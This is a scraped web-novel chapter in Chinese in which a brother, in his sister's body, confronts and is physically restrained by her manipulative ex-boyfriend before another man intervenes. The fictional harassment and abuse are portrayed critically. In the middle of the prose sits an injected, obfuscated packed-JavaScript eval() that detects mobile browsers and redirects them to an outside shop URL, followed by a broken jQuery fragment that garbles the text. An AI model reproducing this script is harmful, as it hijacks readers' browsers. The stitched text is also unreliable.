默认冷灰
24号文字
方正启体

10. 死缠烂打

作者:江随玉本书字数:K更新时间:
    下午两点,沈渡舟回到他姐的办公室。


    办公室不大,一张办公桌,一个书柜,两把椅子。桌上堆着厚厚几摞书,书页里夹着各种颜色的便签条。电脑屏幕上贴着一张便利贴,上面写着一行字:每天提醒自己,活着就好。


    他看着那张便利贴,站了很久。


    然后他坐下,打开电脑,准备帮他姐把那个被洪导骂的申报书改完。


    刚打开文档,手机震了。


    他拿起来一看,屏幕上“林嘉文”三个字赫然在目。


    林嘉文?


    这男的怎么还死皮赖脸死缠烂打不知好歹的?


    消息内容:“窈窈,昨天的事我想过了,是我不好,不该说那些话,我们能不能好好聊聊?”


    沈渡舟盯着这条消息,沉默了两秒。


    然后他回:“聊什么?该聊的都聊完了,我的话不够清楚?”


    那边几乎是秒回:“聊聊我们之间的问题。我知道你最近压力大,情绪不稳定,我不怪你。但我觉得我们还有挽回的余地。”


    沈渡舟又沉默了两秒,心想这男人真是厚颜无耻。


    “我不怪你。”


    这四个字让他想起昨晚那个姓林的说的那些话——“你最近是不是压力太大”“我是为你好”。


    还有那句:“除了我,没人受得了你这个脾气。”


    他攥着手机,指节发白。


    又一条消息进来了:“窈窈,你在吗?我就在你们学校附近,能不能见一面?”


    沈渡舟看着这条消息,突然笑了。


    他回:“行,你在哪?”


    那边发来一个定位,是学校东门外的一家咖啡馆。


    他站起来,拿起他姐的包哐哐往外走。


    走到门口,他又停下来,回头看了一眼那张便利贴。


    每天提醒自己,活着就好。


    他走过去,把那张便利贴撕下来,折好,放进口袋里。


    然后他推开门,走了出去。


    咖啡馆不大,装修得很文艺,墙上挂着黑白照片,角落里摆着一架落灰的钢琴。


    沈渡舟推门进去的时候,林嘉文已经坐在靠窗的位置了,他穿着一件浅蓝色的衬衫,袖子卷到小臂,头发梳得一丝不苟,脸上带着那种“我知道你会来”的微笑。


    看见沈渡舟走进来,他站起来,往前迎了一步:“窈窈。”


    沈渡舟没理他,直接走到他对面坐下。


    林嘉文也跟着坐下,招了招手,叫来服务员:“喝点什么?这次还是喝枫糖咖啡么?”


    沈渡舟看着他:“怎么,还想被泼?”


    林嘉文对服务员说:“那算了,一杯美式,一杯拿铁,拿铁少糖——你喝美式我喝拿铁。”


    服务员签好纸单离开了。


    林嘉文转过来,看着沈渡舟,眼神温柔得能滴出水来:“窈窈,昨天的事,我真的不怪你。我知道你是太累了,一时冲动。我们在一起三年,我了解你。”


    沈渡舟毫不客气:“你是对自己下头的一面只字不提啊,合着分手全是我的错。”


    林嘉文叹了口气,伸出手,想握他的手。


    沈渡舟冷脸把手缩回去,放到桌下。


    想碰沈知窈的手,你臭小子配么。


    林嘉文的手停在半空,顿了一下,收回去。他脸上的笑容不变,但眼底闪过一丝什么。


    “窈窈,”他说,“你到底怎么了?你以前不是这样的。”


    沈渡舟忍不住开口了:“我以前是哪样的?”


    林嘉文愣了一下,然后说:“你以前……温柔,懂事,善解人意。你从来不会这样对我。”


    沈渡舟看着他,一字一句:“我温柔,懂事,善解人意,所以你就可以随便说‘除了我没人受得了你’?”


    林嘉文的表情僵了一瞬。


    “我温柔,懂事,善解人意,”沈渡舟继续说,“所以你就可以说我‘又胖了’,说我‘肯定哪里没做好’,说我需要‘反思自己’?”


    “窈窈,我不是那个意思——”


    “你是什么意思?”


    沈渡舟通过对PUA话术的学习,如今运用起来炉火纯青,走渣男的路让渣男无路可走。


    林嘉文张了张嘴,没说出话来。


    沈渡舟看着他,突然觉得很可笑。


    这个人,这个三十多岁、戴着眼镜、穿着浅蓝色衬衫、说话温柔得能滴出水来的人,在沈知窈身边如同定时炸弹。


    他是不是经常用那件事恐吓威胁姐姐,所以他们一直就这么纠缠着。


    “我问你几个问题。”沈渡舟说。


    林嘉文看着他,脸上的笑容终于消失了。


    “第一,”沈渡舟竖起一根手指,“我跟你在一起这三年,你有没有真心为我做过一件事?你是因为爱我才跟我在一起的么?”


    林嘉文不说话。


    “第二,”沈渡舟竖起第二根手指,“你知道我在吃药,对不对?”


    林嘉文的脸色开始变了。


    “第三,”沈渡舟竖起第三根手指,“我为什么会吃药,我为什么会经历那样的事,你心里难道一点数都没有吗?”


    林嘉文张了张嘴,想说什么,但什么都说不出来。


    沈渡舟看着他,眼神很平静,但心底早已波涛汹涌。


    看来思路没错,给他猜对了。


    “你一个都答不上来?”沈渡舟嗤笑了一声,不回答何尝不是答案,“看来这三年来,你一直都这么自私,我不指望你能帮我,别拖我后腿就行,可惜就这么容易的事,你都办不好。”


    林嘉文的脸色彻底白了。


    “窈窈,你不能这样说我,我对你——”


    “你对我怎么了?”沈渡舟打断他,“你对我说的那些话,哪一句不是为了让我觉得自己不够好?你对我做的那些事,哪一件不是为了让你更心安理得去出轨!”


    林嘉文的脸涨红了:“沈知窈,你疯了!我什么时候PUA你了?我那是关心你!”


    很好,居然没否认出轨的事。


    “关心我?”沈渡舟笑了,笑得有点冷,“关心我的人,不会在我最难过的时候说‘你那个样子就是勾引人犯罪,不干净了就是不干净了’。关心我的人,不会在我加班到凌晨的时候说‘你是不是能力不行’。关心我的人,不会在我想分手的时候说‘除了我没人受得了你’。”


    他顿了顿,看着他姐前男友那张斯文的脸。


    “你知道吗,”他说,“我昨晚回去想了很久。我想到底是从什么时候开始,我变得越来越累,越来越没劲,越来越觉得自己什么都不行。后来我想起来了——就是从认识你开始的。”


    林嘉文的嘴唇在发抖。


    “你让我觉得我不够好,”沈渡舟说,“你让我觉得我做什么都不对,你让我觉得离开你我就活不下去。可是我今天突然发现,我离开你,活得挺好。”


    沈渡舟站起来。


    “所以,”他说,“你以后不用再找我了。不是因为我不原谅你,是因为我懒得原谅你。”


    他转身往外走。


    走出两步刚走出了门,却被身后的人猝不及防拽住了。


    林嘉文脸色惨白,表情扭曲又苦涩,像一尊被人打碎的雕像,“你先跟我走,你得冷静一下。”


    “怎么,还想对我动手动脚?”沈渡舟气不打一处来,手腕抽不出来,另一只手提着公文包就想往林嘉文头上抡。


    两人推搡了一阵,也没有人敢上去阻拦,只当是小情侣吵架了。


    林嘉文从背后将他抱住了,沈渡舟那一瞬间脑子里炸开一片白光。他拼命挣扎,像一条被扔上岸的鱼,手脚并用,但林嘉文的手臂像铁箍一样勒在他腰间,纹丝不动。力量太悬殊了,他用的是他姐的身体,这具身体太轻太薄,根本挣不脱那股蛮劲。


    “松开!”他吼,声音从他姐的嗓子里冲出来,带着他自己都陌生的尖利。


    林嘉文的脸贴在他耳边,呼吸喷在脖颈上,湿热黏腻,那声音慢悠悠的,像在哄一个闹脾气的孩子:“窈窈,别闹了,我就想跟你说说话。”


    “说你妈!”沈渡舟曲起胳膊肘往后撞,撞空了,又撞,第二下好像蹭到了什么,林嘉文闷哼一声,但手没松,反而勒得更紧。


    巷子口那棵老槐树,树影子拖得老长,像趴在地上的怪物。远处偶尔有车驶过,灯光扫过来,又扫过去,没人往这边多看一眼。


    “你放开!”沈渡舟又吼,嗓子都快劈了。他脑子里转得飞快——手机在包里,包掉在地上,够不着。喊救命?这巷子偏,这个点儿没人。他妈的,他沈渡舟这辈子还没这么窝囊过。


    林嘉文在他耳边笑了一声,那笑声轻轻的,像在嘲笑他的徒劳。


    “窈窈,你知不知道,你这样挣扎的样子,特别——”


    话没说完,他突然停住了。


    勒在腰间的手臂松了一瞬。


    沈渡舟还没来得及反应,就看见一个人影从巷子口冲过来,几步就到了跟前。那人一把攥住林嘉文的肩膀,把他往后猛地一扯。林嘉文踉跄着退开,手终于松了。


    沈渡舟往前抢出两步,扶着墙大口喘气。他回过头,看见一个陌生的男人站在路灯下,挡在他和林嘉文之间。


    那人穿着一件浅灰色的薄外套,个子挺高,肩膀很宽,站在那儿像一堵墙。灯光从他背后打过来,看不清脸,只看见一个轮廓,和垂在身侧的两只手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345252|199519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那双手攥着拳,攥得很紧。


    “许则安?”林嘉文的声音从后面传来,带着意外,还有一点恼羞成怒,“你怎么在这儿?”


    许则安。


    沈渡舟抬头,眼前的男人有些陌生——他不认识,但是出于身体的本能,本能告诉他,他和沈知窈应该是认识的。


    “这人蛮横不讲理,救我!许则安!”


    “林老师也太没有风度了,女士已经表示拒绝,你还死缠烂打,适可而止吧。”


    林嘉文笑了,那笑声在夜色里听着格外刺耳。“适可而止?我跟她说话,关你什么事?”


    “她不想跟你说话。”许则安说,“你看不出来吗?”


    林嘉文的笑容僵了一瞬。


    沈渡舟缓过劲来,从他姐身体里冲出来的那股火蹭蹭往上冒。他往前走了一步,从许则安身后探出半个脑袋,冲林嘉文骂:“你他妈耳朵聋了?我说了多少遍让你滚,你听不见?”


    林嘉文看向他,眼神里有一种很奇怪的东西,“窈窈,你怎么变成这样了?你以前不是这样的。莫非你早就找好了下家,这才急着跟我分手?”


    沈渡舟气得想笑。他正要开口骂回去,许则安往前迈了一步,彻底把他挡在身后。


    “林老师。”许则安的声音还是那么平,但沈渡舟听出来了,那平静底下压着东西,像烧红的铁块闷在灰里,“你们已经分手了。她的事,跟你没关系。”


    林嘉文的脸色变了变。他看着许则安,又看看他身后的沈渡舟,嘴角慢慢勾起一个笑。


    “许则安,你刚从研究院调回来吧?听说你在那边干得不错,升了副高?怎么,一回来就管起我的事来了?”


    许则安没接他这个话茬,他只是站在那儿挡在沈渡舟的面前,稳如一座一动不动的山。


    沈渡舟从他肩膀后面探出头,冲林嘉文喊:“你少扯那些有的没的!我报警了!你等着!”


    他其实没来得及报警,手机还在包里,包还在地上,他够不着。但他就是要这么说,气死这个该死的王八蛋。


    林嘉文的脸色终于彻底沉下来,他看着许则安,又看着沈渡舟,眼神变了几变。


    “行。”他往后退了一步,举起双手,做出一个“我投降”的姿势,“你们行,我走。”


    他转身,走了两步,又停下来,回头看着沈渡舟。


    “窈窈,我等你。你什么时候想通了,随时找我。”


    沈渡舟气得浑身发抖,从许则安身后冲出来就要追上去骂,被许则安一把拦住。


    林嘉文笑了笑,转身走进夜色里,脚步声渐渐远了。


    巷子里安静下来,只剩风吹过树叶的沙沙声,和远处偶尔传来的车响。


    沈渡舟站在那儿,大口大口喘气。刚才那股劲泄了,他姐这具身体的疲惫就涌上来,腿都在抖。


    他抬起头,看着面前这个人。


    许则安正低头看他,路灯从侧面照过来,照出他半张脸。五官很端正,眉骨高,眼窝深,看起来不像三十多岁的人。但他那双眼睛里有一种很沉的东西,像积了很多年没说的话。


    “没事吧?”他问。


    沈渡舟张了张嘴,想说没事,但嗓子眼像被什么堵住了。他只能摇了摇头。


    许则安弯下腰,把他掉在地上的包捡起来,递给他。


    沈渡舟接过来,攥在手里。


    两个人面对面站着,沉默了几秒。


    “谢谢你。”沈渡舟说,用的是他姐的声音,但语气是他自己的。他这会儿顾不上装,刚才那一出把他吓得够呛,也气得够呛,什么伪装都忘了。


    许则安看着他,眼神里有一点点困惑,但没问什么。


    “我送你回去。”他说。


    口袋里有东西硌了他一下,他掏出来,是那张便利贴。


    每天提醒自己,活着就好。


    沈渡舟把便利贴贴在沈知窈的手机背面,贴得端端正正的,歪套上手机壳。


    两个人并排往外走,走出巷子,走上大路,路灯亮多了,街上还有人,有车,有烧烤摊飘来的香味。那些声音和味道涌过来,把刚才那点阴森冲淡了。


    许则安一路上并没有多说什么,直到把沈渡舟送回住处。


    “他对你不好,是吗。”


    沈渡舟愣了一下,然后反应过来他说的是林嘉文。


    “谢谢你送我回家。”沈渡舟避而不答,只是强壮镇定地道了谢。


    “有事给我打电话。”许则安也没强求,“我号码一直没变。”


    沈渡舟站在楼下,看着他的背影消失在夜色里。远处飘来红薯烘烤的香气,路灯把他的影子拉得很长,一截一截的,最后融进黑暗里看不见了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)